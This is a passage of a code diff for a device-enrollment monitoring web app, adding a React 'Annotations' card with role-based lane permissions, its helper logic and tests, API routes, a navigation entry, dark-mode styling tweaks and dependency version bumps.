setLaneEdit(lane, { saving: false, saveResult: "saved" });
|
||||
} catch (err) {
|
||||
if (err instanceof TokenExpiredError) console.error("Session expired while saving annotation");
|
||||
setLaneEdit(lane, {
|
||||
saving: false,
|
||||
saveResult: err instanceof Error ? err.message : "Failed to save annotation",
|
||||
});
|
||||
}
|
||||
};
|
||||
|
||||
const annotatedLanes = lanes.filter((lane) => hasContent(annotations[lane]));
|
||||
|
||||
return (
|
||||
<div className="bg-white shadow rounded-lg p-6 mb-6">
|
||||
<div
|
||||
onClick={() => setExpanded(!expanded)}
|
||||
className="flex items-start justify-between gap-2 w-full text-left cursor-pointer"
|
||||
>
|
||||
<div className="flex items-center flex-wrap gap-x-2 gap-y-1 min-w-0">
|
||||
<svg className="w-6 h-6 shrink-0 text-green-600" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M16.862 4.487l1.687-1.688a1.875 1.875 0 112.652 2.652L10.582 16.07a4.5 4.5 0 01-1.897 1.13L6 18l.8-2.685a4.5 4.5 0 011.13-1.897l8.932-8.931zm0 0L19.5 7.125" />
|
||||
</svg>
|
||||
<h2 className="text-xl font-semibold text-gray-900">Annotations</h2>
|
||||
{annotatedLanes.length > 0 && (
|
||||
<>
|
||||
<span className="text-xs text-gray-400">
|
||||
({annotatedLanes.length} {annotatedLanes.length === 1 ? "annotation" : "annotations"})
|
||||
</span>
|
||||
<div className="flex items-center flex-wrap gap-2 text-xs">
|
||||
{annotatedLanes.map((lane) => {
|
||||
const verdict = annotations[lane]?.verdict;
|
||||
return verdict != null ? (
|
||||
<span
|
||||
key={lane}
|
||||
className={`px-2 py-0.5 rounded-full font-medium ${VERDICT_PILL_CLASSES[verdict] ?? "bg-gray-100 text-gray-600"}`}
|
||||
title={LANE_LABELS[lane]}
|
||||
>
|
||||
{VERDICT_LABELS[verdict as AnnotationVerdict] ?? verdict}
|
||||
</span>
|
||||
) : null;
|
||||
})}
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
<svg className={`w-5 h-5 shrink-0 text-gray-400 transition-transform duration-200 ${expanded ? "rotate-90" : ""}`} fill="none" stroke="currentColor" viewBox="0 0 24 24">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M9 5l7 7-7 7" />
|
||||
</svg>
|
||||
</div>
|
||||
|
||||
{expanded && (
|
||||
<>
|
||||
<p className="text-sm text-gray-500 mt-2 mb-4">
|
||||
Human assessment of this enrollment's analysis — confirmed root causes and
|
||||
corrections feed rule quality.
|
||||
</p>
|
||||
|
||||
<div className="space-y-5">
|
||||
{lanes.map((lane) => {
|
||||
const annotation = annotations[lane];
|
||||
const writable = canWriteLane(lane, user, isCrossTenantView);
|
||||
const state = laneEdit(lane);
|
||||
|
||||
if (!writable && !hasContent(annotation)) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return (
|
||||
<div key={lane} className="border border-gray-200 rounded-lg p-4">
|
||||
<div className="flex items-center flex-wrap gap-2 mb-2">
|
||||
<span className="text-sm font-medium text-gray-900">{LANE_LABELS[lane]}</span>
|
||||
{annotation?.verdict != null && !writable && (
|
||||
<span
|
||||
title={VERDICT_DESCRIPTIONS[annotation.verdict as AnnotationVerdict]}
|
||||
className={`inline-flex px-2 py-0.5 rounded-full text-xs font-medium ${VERDICT_PILL_CLASSES[annotation.verdict] ?? "bg-gray-100 text-gray-600"}`}
|
||||
>
|
||||
{VERDICT_LABELS[annotation.verdict as AnnotationVerdict] ?? annotation.verdict}
|
||||
</span>
|
||||
)}
|
||||
{annotation?.authorDisplayName && (
|
||||
<span className="text-xs text-gray-400">
|
||||
{annotation.authorDisplayName}
|
||||
{annotation.updatedAtUtc ? ` · ${new Date(annotation.updatedAtUtc).toLocaleString()}` : ""}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{writable ? (
|
||||
<>
|
||||
<div className="flex flex-wrap gap-2 mb-3" role="radiogroup" aria-label={`${LANE_LABELS[lane]} verdict`}>
|
||||
{ANNOTATION_VERDICTS.map((verdict) => {
|
||||
const selected = state.verdict === verdict;
|
||||
return (
|
||||
<button
|
||||
key={verdict}
|
||||
type="button"
|
||||
role="radio"
|
||||
aria-checked={selected}
|
||||
title={VERDICT_DESCRIPTIONS[verdict]}
|
||||
onClick={() =>
|
||||
setLaneEdit(lane, { verdict: selected ? null : verdict, saveResult: null })
|
||||
}
|
||||
className={`px-3 py-1.5 rounded-full text-xs font-medium border transition-colors ${
|
||||
selected
|
||||
? `${VERDICT_PILL_CLASSES[verdict]} border-transparent ring-1 ring-inset ring-gray-300`
|
||||
: "bg-white text-gray-600 border-gray-300 hover:bg-gray-50"
|
||||
}`}
|
||||
>
|
||||
{VERDICT_LABELS[verdict]}
|
||||
</button>
|
||||
);
|
||||
})}
|
||||
</div>
|
||||
<textarea
|
||||
value={state.note}
|
||||
onChange={(e) => setLaneEdit(lane, { note: e.target.value, saveResult: null })}
|
||||
rows={3}
|
||||
maxLength={ANNOTATION_MAX_NOTE_LENGTH}
|
||||
placeholder="Optional note — what actually happened, what the analysis missed…"
|
||||
className="w-full border border-gray-300 rounded-md px-3 py-2 text-sm text-gray-900 placeholder-gray-400 focus:outline-none focus:ring-2 focus:ring-green-500 focus:border-green-500"
|
||||
/>
|
||||
<div className="flex items-center justify-between mt-2">
|
||||
<div className="text-sm min-h-[1.25rem]">
|
||||
{state.saveResult === "saved" ? (
|
||||
<span className="inline-flex items-center gap-1 text-green-600">
|
||||
<svg className="w-4 h-4" fill="none" viewBox="0 0 24 24" stroke="currentColor">
|
||||
<path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M5 13l4 4L19 7" />
|
||||
</svg>
|
||||
Saved
|
||||
</span>
|
||||
) : state.saveResult ? (
|
||||
<span className="text-red-600">{state.saveResult}</span>
|
||||
) : state.note.length > 0 ? (
|
||||
<span className="text-xs text-gray-400">
|
||||
{state.note.length}/{ANNOTATION_MAX_NOTE_LENGTH}
|
||||
</span>
|
||||
) : null}
|
||||
</div>
|
||||
<button
|
||||
onClick={() => handleSave(lane)}
|
||||
disabled={state.saving || (!hasContent(annotation) && buildPutBody(state.verdict, state.note).isClear)}
|
||||
className="inline-flex items-center gap-2 px-4 py-1.5 bg-green-600 text-white text-sm font-medium rounded-md hover:bg-green-700 disabled:opacity-50 disabled:cursor-not-allowed"
|
||||
>
|
||||
{state.saving && (
|
||||
<svg className="animate-spin w-4 h-4" fill="none" viewBox="0 0 24 24">
|
||||
<circle className="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" strokeWidth="4" />
|
||||
<path className="opacity-75" fill="currentColor" d="M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z" />
|
||||
</svg>
|
||||
)}
|
||||
{state.saving
|
||||
? "Saving…"
|
||||
: hasContent(annotation) && buildPutBody(state.verdict, state.note).isClear
|
||||
? "Clear"
|
||||
: "Save"}
|
||||
</button>
|
||||
</div>
|
||||
</>
|
||||
) : (
|
||||
annotation?.note && (
|
||||
<p className="text-sm text-gray-700 whitespace-pre-wrap">{annotation.note}</p>
|
||||
)
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
})}
|
||||
|
||||
{loaded &&
|
||||
lanes.every(
|
||||
(lane) => !canWriteLane(lane, user, isCrossTenantView) && !hasContent(annotations[lane])
|
||||
) && (
|
||||
<p className="text-sm text-gray-400">No annotations for this session.</p>
|
||||
)}
|
||||
</div>
|
||||
</>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
+3
-3
@@ -865,9 +865,9 @@ function FindingRow({ finding, isExpanded, onToggle }: {
|
||||
onToggle: () => void;
|
||||
}) {
|
||||
const severityRowColors: Record<string, string> = {
|
||||
critical: "bg-red-50/50",
|
||||
high: "bg-orange-50/50",
|
||||
medium: "bg-yellow-50/30",
|
||||
critical: "bg-red-50/50 dark:bg-[#3b1c1c]/60",
|
||||
high: "bg-orange-50/50 dark:bg-[#3d260a]/60",
|
||||
medium: "bg-yellow-50/30 dark:bg-[#3d2e0a]/50",
|
||||
low: "",
|
||||
};
|
||||
|
||||
|
||||
+116
@@ -0,0 +1,116 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import {
|
||||
ANNOTATION_MAX_NOTE_LENGTH,
|
||||
buildPutBody,
|
||||
canWriteLane,
|
||||
hasContent,
|
||||
validateNote,
|
||||
visibleLanes,
|
||||
type AnnotationUser,
|
||||
} from "../sessionAnnotationLogic";
|
||||
|
||||
const ga: AnnotationUser = { isGlobalAdmin: true, isTenantAdmin: false, role: null };
|
||||
const globalReader: AnnotationUser = { isGlobalReader: true, role: null };
|
||||
const tenantAdmin: AnnotationUser = { isTenantAdmin: true, role: "Admin" };
|
||||
const operator: AnnotationUser = { role: "Operator" };
|
||||
const viewer: AnnotationUser = { role: "Viewer" };
|
||||
|
||||
describe("visibleLanes", () => {
|
||||
it("shows all three lanes for global scope (GA and Global Reader)", () => {
|
||||
expect(visibleLanes(ga)).toEqual(["operator", "tenantadmin", "globaladmin"]);
|
||||
expect(visibleLanes(globalReader)).toEqual(["operator", "tenantadmin", "globaladmin"]);
|
||||
});
|
||||
|
||||
it("hides the globaladmin lane from tenant members", () => {
|
||||
for (const user of [tenantAdmin, operator, viewer]) {
|
||||
expect(visibleLanes(user)).toEqual(["operator", "tenantadmin"]);
|
||||
}
|
||||
});
|
||||
|
||||
it("treats a missing user as tenant scope", () => {
|
||||
expect(visibleLanes(null)).toEqual(["operator", "tenantadmin"]);
|
||||
expect(visibleLanes(undefined)).toEqual(["operator", "tenantadmin"]);
|
||||
});
|
||||
});
|
||||
|
||||
describe("canWriteLane (own tenant)", () => {
|
||||
it("operator lane: Operator and Tenant Admin may write, Viewer may not", () => {
|
||||
expect(canWriteLane("operator", operator, false)).toBe(true);
|
||||
expect(canWriteLane("operator", tenantAdmin, false)).toBe(true);
|
||||
expect(canWriteLane("operator", viewer, false)).toBe(false);
|
||||
});
|
||||
|
||||
it("tenantadmin lane: Tenant Admin only among tenant roles", () => {
|
||||
expect(canWriteLane("tenantadmin", tenantAdmin, false)).toBe(true);
|
||||
expect(canWriteLane("tenantadmin", operator, false)).toBe(false);
|
||||
expect(canWriteLane("tenantadmin", viewer, false)).toBe(false);
|
||||
});
|
||||
|
||||
it("globaladmin lane: GA only — Global Reader is read-only", () => {
|
||||
expect(canWriteLane("globaladmin", ga, false)).toBe(true);
|
||||
expect(canWriteLane("globaladmin", globalReader, false)).toBe(false);
|
||||
expect(canWriteLane("globaladmin", tenantAdmin, false)).toBe(false);
|
||||
});
|
||||
|
||||
it("no user writes nothing", () => {
|
||||
expect(canWriteLane("operator", null, false)).toBe(false);
|
||||
expect(canWriteLane("globaladmin", undefined, false)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("canWriteLane (cross-tenant view)", () => {
|
||||
it("tenant-role lanes are never writable cross-tenant, even for a GA who is admin at home", () => {
|
||||
const gaAndHomeAdmin: AnnotationUser = { isGlobalAdmin: true, isTenantAdmin: true, role: "Admin" };
|
||||
expect(canWriteLane("operator", gaAndHomeAdmin, true)).toBe(false);
|
||||
expect(canWriteLane("tenantadmin", gaAndHomeAdmin, true)).toBe(false);
|
||||
});
|
||||
|
||||
it("globaladmin lane stays writable for a GA cross-tenant (the labeling flow)", () => {
|
||||
expect(canWriteLane("globaladmin", ga, true)).toBe(true);
|
||||
expect(canWriteLane("globaladmin", globalReader, true)).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("validateNote", () => {
|
||||
it("accepts notes up to the cap", () => {
|
||||
expect(validateNote("x".repeat(ANNOTATION_MAX_NOTE_LENGTH))).toBeNull();
|
||||
expect(validateNote("")).toBeNull();
|
||||
});
|
||||
|
||||
it("rejects notes over the cap", () => {
|
||||
expect(validateNote("x".repeat(ANNOTATION_MAX_NOTE_LENGTH + 1))).toMatch(/at most 4096/);
|
||||
});
|
||||
});
|
||||
|
||||
describe("buildPutBody", () => {
|
||||
it("nulls empty strings and detects the clear case", () => {
|
||||
// undefined, null and "" must behave alike (WhenWritingNull convention).
|
||||
for (const verdict of [undefined, null, ""]) {
|
||||
const { body, isClear } = buildPutBody(verdict, " ");
|
||||
expect(body).toEqual({ verdict: null, note: null });
|
||||
expect(isClear).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it("keeps verdict-only and note-only payloads", () => {
|
||||
expect(buildPutBody("analysis_wrong", "")).toEqual({
|
||||
body: { verdict: "analysis_wrong", note: null },
|
||||
isClear: false,
|
||||
});
|
||||
expect(buildPutBody(null, " real cause was networking ")).toEqual({
|
||||
body: { verdict: null, note: "real cause was networking" },
|
||||
isClear: false,
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("hasContent", () => {
|
||||
it("treats absent, null and empty alike", () => {
|
||||
expect(hasContent(null)).toBe(false);
|
||||
expect(hasContent(undefined)).toBe(false);
|
||||
expect(hasContent({ lane: "operator" })).toBe(false);
|
||||
expect(hasContent({ lane: "operator", verdict: null, note: null })).toBe(false);
|
||||
expect(hasContent({ lane: "operator", verdict: "inconclusive" })).toBe(true);
|
||||
expect(hasContent({ lane: "operator", note: "n" })).toBe(true);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,133 @@
|
||||
/**
|
||||
* Pure state helpers for the session-detail "Annotations" card. No React/JSX so
|
||||
* vitest can pin the role/lane matrix without rendering. Mirrors the backend gates:
|
||||
* UpsertSessionAnnotationFunction.IsLaneWritableByCaller (write matrix, tenant-role
|
||||
* lanes bound to the caller's OWN tenant) and
|
||||
* GetSessionAnnotationsFunction.FilterLanesForCaller (globaladmin lane is
|
||||
* platform-internal).
|
||||
*/
|
||||
|
||||
export const ANNOTATION_LANES = ["operator", "tenantadmin", "globaladmin"] as const;
|
||||
export type AnnotationLane = (typeof ANNOTATION_LANES)[number];
|
||||
|
||||
export const ANNOTATION_VERDICTS = [
|
||||
"root_cause_confirmed",
|
||||
"analysis_wrong",
|
||||
"different_problem",
|
||||
"inconclusive",
|
||||
] as const;
|
||||
export type AnnotationVerdict = (typeof ANNOTATION_VERDICTS)[number];
|
||||
|
||||
/** Matches the backend cap (SessionAnnotation.MaxNoteLength). */
|
||||
export const ANNOTATION_MAX_NOTE_LENGTH = 4096;
|
||||
|
||||
/** Wire shape of one lane row. Backend omits null fields (WhenWritingNull) — treat null and undefined alike. */
|
||||
export interface SessionAnnotationDto {
|
||||
lane: string;
|
||||
verdict?: string | null;
|
||||
note?: string | null;
|
||||
authorUpn?: string | null;
|
||||
authorDisplayName?: string | null;
|
||||
createdByUpn?: string | null;
|
||||
createdAtUtc?: string | null;
|
||||
updatedAtUtc?: string | null;
|
||||
ruleIds?: string[] | null;
|
||||
}
|
||||
|
||||
/** The auth-context fields the matrix needs (subset of UserInfo). */
|
||||
export interface AnnotationUser {
|
||||
isGlobalAdmin?: boolean;
|
||||
isGlobalReader?: boolean;
|
||||
isTenantAdmin?: boolean;
|
||||
role?: "Admin" | "Operator" | "Viewer" | null;
|
||||
}
|
||||
|
||||
export const VERDICT_LABELS: Record<AnnotationVerdict, string> = {
|
||||
root_cause_confirmed: "Root cause confirmed",
|
||||
analysis_wrong: "Analysis wrong",
|
||||
different_problem: "Different problem",
|
||||
inconclusive: "Inconclusive",
|
||||
};
|
||||
|
||||
/** Native-tooltip explanations (title attribute) — same wording as the customer docs. */
|
||||
export const VERDICT_DESCRIPTIONS: Record<AnnotationVerdict, string> = {
|
||||
root_cause_confirmed: "The analysis was right",
|
||||
analysis_wrong: "The analysis pointed at the wrong cause",
|
||||
different_problem: "The real issue was something the rules did not cover",
|
||||
inconclusive: "The investigation ended without a clear answer",
|
||||
};
|
||||
|
||||
/** Shared verdict pill styling (session card + annotations overview page). */
|
||||
export const VERDICT_PILL_CLASSES: Record<string, string> = {
|
||||
root_cause_confirmed: "bg-green-100 text-green-800",
|
||||
analysis_wrong: "bg-red-100 text-red-800",
|
||||
different_problem: "bg-amber-100 text-amber-800",
|
||||
inconclusive: "bg-slate-100 text-slate-600",
|
||||
};
|
||||
|
||||
export const LANE_LABELS: Record<AnnotationLane, string> = {
|
||||
operator: "Operator",
|
||||
tenantadmin: "Tenant Admin",
|
||||
globaladmin: "Autopilot Monitor Team",
|
||||
};
|
||||
|
||||
/**
|
||||
* Lanes the caller may SEE. The backend already filters the globaladmin lane for
|
||||
* non-global callers — this only decides which (possibly empty) lane sections the
|
||||
* card renders at all.
|
||||
*/
|
||||
export function visibleLanes(user: AnnotationUser | null | undefined): AnnotationLane[] {
|
||||
const hasGlobalScope = !!user?.isGlobalAdmin || !!user?.isGlobalReader;
|
||||
return hasGlobalScope
|
||||
? ["operator", "tenantadmin", "globaladmin"]
|
||||
: ["operator", "tenantadmin"];
|
||||
}
|
||||
|
||||
/**
|
||||
* Whether the caller may WRITE a lane. `isCrossTenantView` = the session belongs to
|
||||
* a different tenant than the caller's own (fleet/MSP/GA drill-in) — tenant-role
|
||||
* lanes bind to the caller's own tenant, so only the globaladmin lane stays
|
||||
* writable there (and only for a real Global Admin; Global Reader never writes).
|
||||
*/
|
||||
export function canWriteLane(
|
||||
lane: AnnotationLane,
|
||||
user: AnnotationUser | null | undefined,
|
||||
isCrossTenantView: boolean,
|
||||
): boolean {
|
||||
if (!user) return false;
|
||||
if (lane === "globaladmin") return !!user.isGlobalAdmin;
|
||||
if (isCrossTenantView) return false;
|
||||
if (lane === "tenantadmin") return !!user.isTenantAdmin || !!user.isGlobalAdmin;
|
||||
// operator lane: Operator or Tenant Admin (admins supervise operator notes)
|
||||
return user.role === "Operator" || !!user.isTenantAdmin || !!user.isGlobalAdmin;
|
||||
}
|
||||
|
||||
/** Null-safe note validation. Returns an error string or null when valid. */
|
||||
export function validateNote(note: string): string | null {
|
||||
if (note.length > ANNOTATION_MAX_NOTE_LENGTH) {
|
||||
return `Note must be at most ${ANNOTATION_MAX_NOTE_LENGTH} characters (currently ${note.length}).`;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* PUT body for one lane. Empty strings become null; a body with BOTH fields null
|
||||
* clears the lane server-side (isClear tells the card to confirm/relabel the action).
|
||||
*/
|
||||
export function buildPutBody(
|
||||
verdict: string | null | undefined,
|
||||
note: string,
|
||||
): { body: { verdict: string | null; note: string | null }; isClear: boolean } {
|
||||
const trimmedNote = note.trim();
|
||||
const normalizedVerdict = verdict == null || verdict === "" ? null : verdict;
|
||||
const body = {
|
||||
verdict: normalizedVerdict,
|
||||
note: trimmedNote === "" ? null : trimmedNote,
|
||||
};
|
||||
return { body, isClear: body.verdict == null && body.note == null };
|
||||
}
|
||||
|
||||
/** True when the lane row carries any content (verdict or note). */
|
||||
export function hasContent(annotation: SessionAnnotationDto | null | undefined): boolean {
|
||||
return !!annotation && (annotation.verdict != null || !!annotation.note);
|
||||
}
|
||||
@@ -36,9 +36,10 @@ import IntegrityBypassSection from "./components/IntegrityBypassSection";
|
||||
import AdminOverrideModal from "./components/AdminOverrideModal";
|
||||
import ReportSessionModal from "./components/ReportSessionModal";
|
||||
import CollectLogsButton from "./components/CollectLogsButton";
|
||||
import SessionAnnotationsCard from "./components/SessionAnnotationsCard";
|
||||
import { usePageSections } from "../../hooks/usePageSections";
|
||||
import { PageSectionItem } from "../../contexts/SidebarContext";
|
||||
import { InformationCircleIcon, ComputerDesktopIcon, PlayCircleIcon, SparklesIcon, ChartBarIcon, CodeBracketIcon, ArrowDownTrayIcon, ListBulletIcon, ClockIcon, ShieldCheckIcon } from "../../lib/sidebarIcons";
|
||||
import { InformationCircleIcon, ComputerDesktopIcon, PlayCircleIcon, SparklesIcon, ChartBarIcon, CodeBracketIcon, ArrowDownTrayIcon, ListBulletIcon, ClockIcon, ShieldCheckIcon, PencilSquareIcon } from "../../lib/sidebarIcons";
|
||||
import DeviceDetailsCard from "./components/DeviceDetailsCard";
|
||||
import { generateUiExport, generateCsvExport, generateSessionCsvExport, generateRuleResultsCsvExport, SessionExportEvent } from "@/utils/sessionExportUtils";
|
||||
import { trackEvent } from "@/lib/appInsights";
|
||||
@@ -412,6 +413,7 @@ function SessionDetailContent() {
|
||||
if (!isGatherRulesSession) s.push({ id: "section-device-details", label: "Device Details", icon: <ComputerDesktopIcon /> });
|
||||
if (!isGatherRulesSession && session) s.push({ id: "section-enrollment-progress", label: "Enrollment Progress", icon: <PlayCircleIcon /> });
|
||||
if (!isGatherRulesSession) s.push({ id: "section-analysis", label: "Analysis", icon: <SparklesIcon /> });
|
||||
if (!isGatherRulesSession) s.push({ id: "section-annotations", label: "Annotations", icon: <PencilSquareIcon /> });
|
||||
if (!isGatherRulesSession && enableSoftwareInventoryAnalyzer) s.push({ id: "section-vulnerability-report", label: "Vulnerability Report", icon: <ShieldCheckIcon /> });
|
||||
if (!isGatherRulesSession) s.push({ id: "section-performance", label: "Performance", icon: <ChartBarIcon /> });
|
||||
if (!isGatherRulesSession) s.push({ id: "section-scripts", label: "Script Executions", icon: <CodeBracketIcon /> });
|
||||
@@ -638,6 +640,19 @@ function SessionDetailContent() {
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Annotations — human verdict/notes about the analysis (flywheel labels) */}
|
||||
{!isGatherRulesSession && (
|
||||
<div id="section-annotations">
|
||||
<SessionAnnotationsCard
|
||||
sessionId={sessionId}
|
||||
effectiveTenantId={sessionTenantId || tenantId}
|
||||
user={user}
|
||||
isCrossTenantView={isCrossTenantView}
|
||||
getAccessToken={getAccessToken}
|
||||
/>
|
||||
</div>
|
||||
)}
|
||||
|
||||
{/* Vulnerability Report — only when analyzer is enabled for this tenant */}
|
||||
{!isGatherRulesSession && enableSoftwareInventoryAnalyzer && (
|
||||
<div id="section-vulnerability-report">
|
||||
|
||||
@@ -215,7 +215,7 @@ function ScriptCardView({ card, showScriptOutput, latestBootstrapVersion, displa
|
||||
<div className={`rounded-lg ${containerClass}`}>
|
||||
<button
|
||||
onClick={() => setPhasesOpen(!phasesOpen)}
|
||||
className="flex flex-wrap items-center justify-between gap-y-1 w-full text-left p-3 hover:bg-black/[.02]"
|
||||
className="flex flex-wrap items-center justify-between gap-y-1 w-full text-left p-3 hover:bg-black/[.02] dark:hover:bg-white/[.03]"
|
||||
aria-expanded={phasesOpen}
|
||||
>
|
||||
<div className="flex flex-wrap items-center gap-x-2 gap-y-1 min-w-0">
|
||||
@@ -256,7 +256,7 @@ function ScriptCardView({ card, showScriptOutput, latestBootstrapVersion, displa
|
||||
|
||||
{phasesOpen && (
|
||||
// Nested phase rows. Slightly inset so the parent → child relationship is visual.
|
||||
<div className="border-t border-black/5 px-3 py-2 space-y-2">
|
||||
<div className="border-t border-black/5 dark:border-white/10 px-3 py-2 space-y-2">
|
||||
{card.phases.map((phase) => (
|
||||
<ScriptItemRow
|
||||
key={scriptItemKey(phase)}
|
||||
@@ -326,7 +326,7 @@ function ScriptItemRow({ item, showScriptOutput, latestBootstrapVersion, nested,
|
||||
// already-coloured parent card so they use a lighter, neutral inner background to
|
||||
// avoid the noisy double-tinting effect.
|
||||
const containerClass = nested
|
||||
? "bg-white/60 border border-black/5"
|
||||
? "bg-white/60 dark:bg-gray-900/30 border border-black/5 dark:border-white/10"
|
||||
: item.state === "Failed"
|
||||
? "bg-red-50 border border-red-200"
|
||||
: item.state === "Running"
|
||||
|
||||
@@ -64,6 +64,13 @@ export const api = {
|
||||
`${API_BASE_URL}/api/sessions/${sessionId}/actions${qs({ tenantId })}`,
|
||||
report: (sessionId: string, tenantId?: string) =>
|
||||
`${API_BASE_URL}/api/sessions/${sessionId}/report${qs({ tenantId })}`,
|
||||
// GET — all annotation lanes visible to the caller (backend hides the globaladmin
|
||||
// lane from callers without global scope).
|
||||
annotations: (sessionId: string, tenantId?: string) =>
|
||||
`${API_BASE_URL}/api/sessions/${sessionId}/annotations${qs({ tenantId })}`,
|
||||
// PUT { verdict, note } — upserts one lane; both fields null/empty clears it.
|
||||
annotation: (sessionId: string, lane: string, tenantId?: string) =>
|
||||
`${API_BASE_URL}/api/sessions/${sessionId}/annotations/${lane}${qs({ tenantId })}`,
|
||||
quickSearch: (q: string) =>
|
||||
`${API_BASE_URL}/api/search/quick${qs({ q })}`,
|
||||
// NOTE: lives under /api/stats/sessions (NOT /api/sessions/stats) — Azure
|
||||
@@ -370,6 +377,26 @@ export const api = {
|
||||
`${API_BASE_URL}/api/bootstrap/sessions/${code}${qs({ tenantId })}`,
|
||||
},
|
||||
|
||||
// ── Annotations (tenant-scoped overview list) ─────────────────────────────
|
||||
annotations: {
|
||||
// GET — the tenant's annotation rows, newest-first per partition order; the
|
||||
// backend excludes the platform-internal globaladmin lane for tenant callers.
|
||||
list: (opts?: {
|
||||
tenantId?: string;
|
||||
lane?: string;
|
||||
verdict?: string;
|
||||
pageSize?: number;
|
||||
continuation?: string;
|
||||
}) =>
|
||||
`${API_BASE_URL}/api/session-annotations${qs({
|
||||
tenantId: opts?.tenantId,
|
||||
lane: opts?.lane,
|
||||
verdict: opts?.verdict,
|
||||
pageSize: opts?.pageSize?.toString(),
|
||||
continuation: opts?.continuation,
|
||||
})}`,
|
||||
},
|
||||
|
||||
// ── Reports ───────────────────────────────────────────────────────────────
|
||||
reports: {
|
||||
list: (opts?: { tenantId?: string; pageSize?: number; continuation?: string }) =>
|
||||
|
||||
@@ -7,6 +7,7 @@ import {
|
||||
SparklesIcon,
|
||||
FolderIcon,
|
||||
WrenchScrewdriverIcon,
|
||||
PencilSquareIcon,
|
||||
} from "./sidebarIcons";
|
||||
import type { Route } from "next";
|
||||
import { route } from "./routes";
|
||||
@@ -160,6 +161,7 @@ export const NAV_GROUPS: NavGroup[] = [
|
||||
visibility: "adminOrOperator",
|
||||
items: [
|
||||
{ id: "progress", label: "Progress Portal", href: "/progress", icon: <MonitorIcon /> },
|
||||
{ id: "annotations", label: "Annotations", href: "/annotations", icon: <PencilSquareIcon /> },
|
||||
{ id: "geographic-performance", label: "Geographic Perf.", href: "/geographic-performance", icon: <GlobeAltIcon /> },
|
||||
{ id: "fleet-health", label: "Fleet Health", href: "/fleet-health", icon: <ChartBarIcon /> },
|
||||
{ id: "sla", label: "SLA Compliance", href: "/sla", icon: <ShieldCheckIcon /> },
|
||||
|
||||
@@ -239,6 +239,14 @@ export function SparklesIcon({ className = "w-5 h-5" }: IconProps) {
|
||||
);
|
||||
}
|
||||
|
||||
export function PencilSquareIcon({ className = "w-5 h-5" }: IconProps) {
|
||||
return (
|
||||
<svg className={className} fill="none" viewBox="0 0 24 24" stroke="currentColor" strokeWidth={1.5}>
|
||||
<path strokeLinecap="round" strokeLinejoin="round" d="M16.862 4.487l1.687-1.688a1.875 1.875 0 112.652 2.652L10.582 16.07a4.5 4.5 0 01-1.897 1.13L6 18l.8-2.685a4.5 4.5 0 011.13-1.897l8.932-8.931zm0 0L19.5 7.125M18 14v4.75A2.25 2.25 0 0115.75 21H5.25A2.25 2.25 0 013 18.75V8.25A2.25 2.25 0 015.25 6H10" />
|
||||
</svg>
|
||||
);
|
||||
}
|
||||
|
||||
export function CircleStackIcon({ className = "w-5 h-5" }: IconProps) {
|
||||
return (
|
||||
<svg className={className} fill="none" viewBox="0 0 24 24" stroke="currentColor" strokeWidth={1.5}>
|
||||
|
||||
+81
-68
@@ -11,27 +11,27 @@
|
||||
"@azure/msal-browser": "^4.30.0",
|
||||
"@azure/msal-react": "^3.0.29",
|
||||
"@microsoft/applicationinsights-web": "^3.4.3",
|
||||
"@microsoft/signalr": "^10.0.0",
|
||||
"@types/leaflet": "^1.9.21",
|
||||
"@microsoft/signalr": "^10.0.11",
|
||||
"@types/leaflet": "^1.9.22",
|
||||
"@xyflow/react": "^12.11.2",
|
||||
"dagre": "^0.8.5",
|
||||
"fflate": "^0.8.3",
|
||||
"leaflet": "^1.9.4",
|
||||
"next": "^16.2.12",
|
||||
"next": "^16.3.0",
|
||||
"react": "^19.2.8",
|
||||
"react-dom": "^19.2.8",
|
||||
"react-leaflet": "^5.0.0",
|
||||
"recharts": "^2.15.4"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@next/bundle-analyzer": "^16.2.12",
|
||||
"@next/bundle-analyzer": "^16.3.0",
|
||||
"@types/dagre": "^0.7.54",
|
||||
"@types/node": "^22.20.1",
|
||||
"@types/react": "^19",
|
||||
"@types/react-dom": "^19",
|
||||
"autoprefixer": "^10.5.4",
|
||||
"eslint": "^9.39.5",
|
||||
"eslint-config-next": "^16.2.12",
|
||||
"eslint-config-next": "^16.3.0",
|
||||
"postcss": "^8.5.12",
|
||||
"tailwindcss": "^3.4.17",
|
||||
"typescript": "^5.7.3",
|
||||
@@ -1307,9 +1307,9 @@
|
||||
}
|
||||
},
|
||||
"node_modules/@microsoft/signalr": {
|
||||
"version": "10.0.0",
|
||||
"resolved": "https://registry.npmjs.org/@microsoft/signalr/-/signalr-10.0.0.tgz",
|
||||
"integrity": "sha512-0BRqz/uCx3JdrOqiqgFhih/+hfTERaUfCZXFB52uMaZJrKaPRzHzMuqVsJC/V3pt7NozcNXGspjKiQEK+X7P2w==",
|
||||
"version": "10.0.11",
|
||||
"resolved": "https://registry.npmjs.org/@microsoft/signalr/-/signalr-10.0.11.tgz",
|
||||
"integrity": "sha512-FulOJ2EEtKvLQcswe/U7v8pzyXyk7Jua5xgWJPPwyQU/2Z9ORvKcVjyO75VvLsem+CJ1ORRexJ+7Bz1FCei2aw==",
|
||||
"license": "MIT",
|
||||
"dependencies": {
|
||||
"abort-controller": "^3.0.0",
|
||||
@@ -1358,9 +1358,9 @@
|
||||
"license": "MIT"
|
||||
},
|
||||
"node_modules/@next/bundle-analyzer": {
|
||||
"version": "16.2.12",
|
||||
